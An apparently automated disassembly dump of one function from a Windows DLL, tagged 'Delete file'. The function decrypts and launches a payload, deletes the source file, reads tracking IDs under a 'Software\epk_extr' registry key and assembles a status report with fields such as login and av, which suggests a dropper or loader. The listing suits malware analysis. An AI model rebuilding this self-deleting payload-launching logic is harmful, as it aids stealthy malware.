Function at 0x10002939
Capabilities:
Delete file

Disassembly:
mov eax, 0x10003e20
call fcn.10003b30
mov eax, 0x2c94
call fcn.10003b50
mov eax, dword [ebp + 8]
push ebx
mov dword [0x100053d4], eax
mov eax, dword [ebp + 0xc]
mov dword [0x100053e4], eax
mov eax, dword [ebp + 0x14]
mov dword [0x100053e0], eax
mov eax, dword [ebp + 0x10]
push esi
push edi
mov dword [0x100053dc], eax
call fcn.10002f72
xor ebx, ebx
mov dword [ebp + 0x14], eax
cmp eax, ebx
jne 0x10002ae2
lea eax, [ebp + 8]
push eax
push str.LICFILE
call fcn.10003677
push dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_strncpy]
push eax
lea eax, [ebp - 0x1478]
push eax
call esi
mov eax, dword [ebp + 8]
mov byte [ebp + eax - 0x1478], bl
lea eax, [ebp + 8]
push eax
push 0x100052f8
call fcn.10003677
push dword [ebp + 8]
push eax
lea eax, [ebp - 0xc74]
push eax
call esi
mov eax, dword [ebp + 8]
mov byte [ebp + eax - 0xc74], bl
lea eax, [ebp + 8]
push eax
push str.MCPARAMS
call fcn.10003677
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c7c]
push eax
call esi
mov eax, dword [ebp + 8]
mov esi, str.08184a3a8b
push esi
mov byte [ebp + eax - 0x1c7c], bl
call sub.MSVCRT.dll_strlen
add esp, 0x40
push eax
lea eax, [ebp - 0x28a0]
push eax
push esi
call fcn.10001873
mov esi, str.e7186a9a
push esi
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x2ca0]
push eax
push esi
call fcn.10001873
add esp, 0x1c
lea ecx, [ebp - 0x28]
call fcn.100013d7
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp - 0x28a0]
push eax
lea eax, [ebp - 0xc74]
push eax
lea eax, [ebp - 0x1478]
push eax
call fcn.1000156f
lea eax, [ebp - 0xc74]
push eax
call fcn.10003054
add esp, 0x14
test al, al
jne 0x10002a77
mov dword [ebp + 0x14], 2
jmp 0x10002a9c
lea eax, [ebp - 0x1c7c]
push eax
lea eax, [ebp - 0xc74]
push eax
call fcn.10002ea4
pop ecx
mov dword [ebp + 0x14], eax
pop ecx
lea eax, [ebp - 0x1478]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001404
cmp dword [ebp + 0x14], ebx
jne 0x10002ae2
call fcn.10002f72
mov esi, eax
xor edi, edi
cmp esi, 1
je 0x10002ad3
call fcn.10002f72
push 0xc8
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x19
jl 0x10002ab6
cmp esi, ebx
jne 0x10002e38
mov dword [ebp + 0x14], 4
mov edx, 0x100
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x873]
mov byte [ebp - 0x874], bl
mov byte [ebp - 0x1078], bl
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [ebp - 0x1077]
rep stosd dword es:[edi], eax
mov ecx, edx
lea edi, [ebp - 0x46f]
mov byte [ebp - 0x470], bl
mov esi, 0x400
rep stosd dword es:[edi], eax
lea eax, [ebp + 0xc]
mov edi, SysReAllocString
push eax
lea eax, [ebp - 0x874]
push eax
push 0x1000525c
push str.Softwareepk_extr
push edi
mov dword [ebp + 0xc], esi
call fcn.1000340d
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], esi
push eax
lea eax, [ebp - 0x1078]
push eax
push str.grpid
push str.Softwareepk_extr
push edi
call fcn.1000340d
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], esi
push eax
lea eax, [ebp - 0x470]
push eax
push str.bnrid
push str.Softwareepk_extr
push edi
call fcn.1000340d
push 0x824
lea eax, [ebp - 0x24a0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x48
push ebx
call fcn.1000233e
push eax
lea eax, [ebp - 0x24a0]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x24a0]
push 0x10005248
push eax
call sub.MSVCRT.dll_strcat
push 0x41
lea eax, [ebp - 0x6c]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
add esp, 0x1c
cmp eax, 1
jne 0x10002bd4
push str.already_run
jmp 0x10002c02
cmp eax, 5
jne 0x10002be0
push str.removed
jmp 0x10002c02
cmp eax, 2
jne 0x10002bec
push str.uncrypt_failed
jmp 0x10002c02
cmp eax, 3
jne 0x10002bf8
push str.createprocess_failed
jmp 0x10002c02
cmp eax, 4
jne 0x10002c0d
push str.started_not_in_mem
lea eax, [ebp - 0x6c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x401
lea eax, [ebp - 0x187c]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x187c]
push esi
push eax
call fcn.10003176
add esp, 0x14
push 1
call fcn.1000233e
push eax
call sub.MSVCRT.dll_strlen
mov esi, eax
lea eax, [ebp - 0x187c]
push eax
call sub.MSVCRT.dll_strlen
add esi, eax
lea eax, [ebp - 0x6c]
push eax
call sub.MSVCRT.dll_strlen
add esi, eax
lea eax, [ebp - 0x470]
push eax
call sub.MSVCRT.dll_strlen
add esi, eax
lea eax, [ebp - 0x1078]
push eax
call sub.MSVCRT.dll_strlen
add esi, eax
lea eax, [ebp - 0x874]
push eax
call sub.MSVCRT.dll_strlen
lea eax, [esi + eax + 0x2f]
lea ecx, [eax + eax]
inc eax
push eax
mov dword [ebp + 0x14], ecx
mov dword [ebp + 0x10], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov eax, dword [ebp + 0x14]
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp + 0x10]
mov dword [ebp + 8], eax
push ebx
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x14]
inc eax
push eax
push ebx
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
push str.nums
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x40
lea eax, [ebp - 0x874]
push eax
push esi
call sub.MSVCRT.dll_strcat
push 0x1000522c
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1078]
push eax
push esi
call sub.MSVCRT.dll_strcat
push str.login
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x470]
push eax
push esi
call sub.MSVCRT.dll_strcat
push str.pname
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x30
push 1
call fcn.1000233e
push eax
push esi
call sub.MSVCRT.dll_strcat
push str.bp
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x10
call fcn.100036fe
test al, al
mov eax, 0x10005210
jne 0x10002d42
mov eax, 0x100050f8
push eax
push esi
call sub.MSVCRT.dll_strcat
push str.prb
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x6c]
push eax
push esi
call sub.MSVCRT.dll_strcat
push str.av
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x187c]
push eax
push esi
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x14]
push dword [ebp + 8]
push esi
call fcn.1000195f
push dword [ebp + 8]
lea eax, [ebp - 0x24a0]
push eax
call sub.MSVCRT.dll_strcat
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x40
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov dword [ebp + 0x14], ebx
push 2
mov dword [ebp - 4], 1
call fcn.1000233e
lea ecx, [ebp + 0x10]
mov esi, reloc.OLEAUT32.dll_SysReAllocString
push ecx
lea ecx, [ebp + 8]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push esi
mov dword [ebp + 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [ebp + 8]
test ecx, ecx
mov ecx, dword [ebp + 0x10]
jne 0x10002de2
mov ecx, dword [ebp + 8]
cmp eax, ebx
jne 0x10002e24
mov eax, dword [ebp + 8]
cmp ecx, 1
mov dword [ebp + 0x14], eax
jne 0x10002e13
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24a0]
push eax
call fcn.10003494
add esp, 0x14
cmp dword [ebp + 8], ebx
je 0x10002e24
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp + 0x14], ebx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 0x14], ebx
je 0x10002e42
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10002e42
mov edi, SysReAllocString
mov esi, reloc.OLEAUT32.dll_SysReAllocString
push 1
push 0x1000525c
push 2
call fcn.1000233e
push eax
mov ebx, str.Softwareepk_extr
push esi
push ebx
push edi
call fcn.100032d7
add esp, 0x18
push 1
push str.grpid
push 2
call fcn.1000233e
push eax
push esi
push ebx
push edi
call fcn.100032d7
add esp, 0x18
push 1
push str.bnrid
push 2
call fcn.1000233e
push eax
push esi
push ebx
push edi
call fcn.100032d7
mov ecx, dword [ebp - 0xc]
add esp, 0x18
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret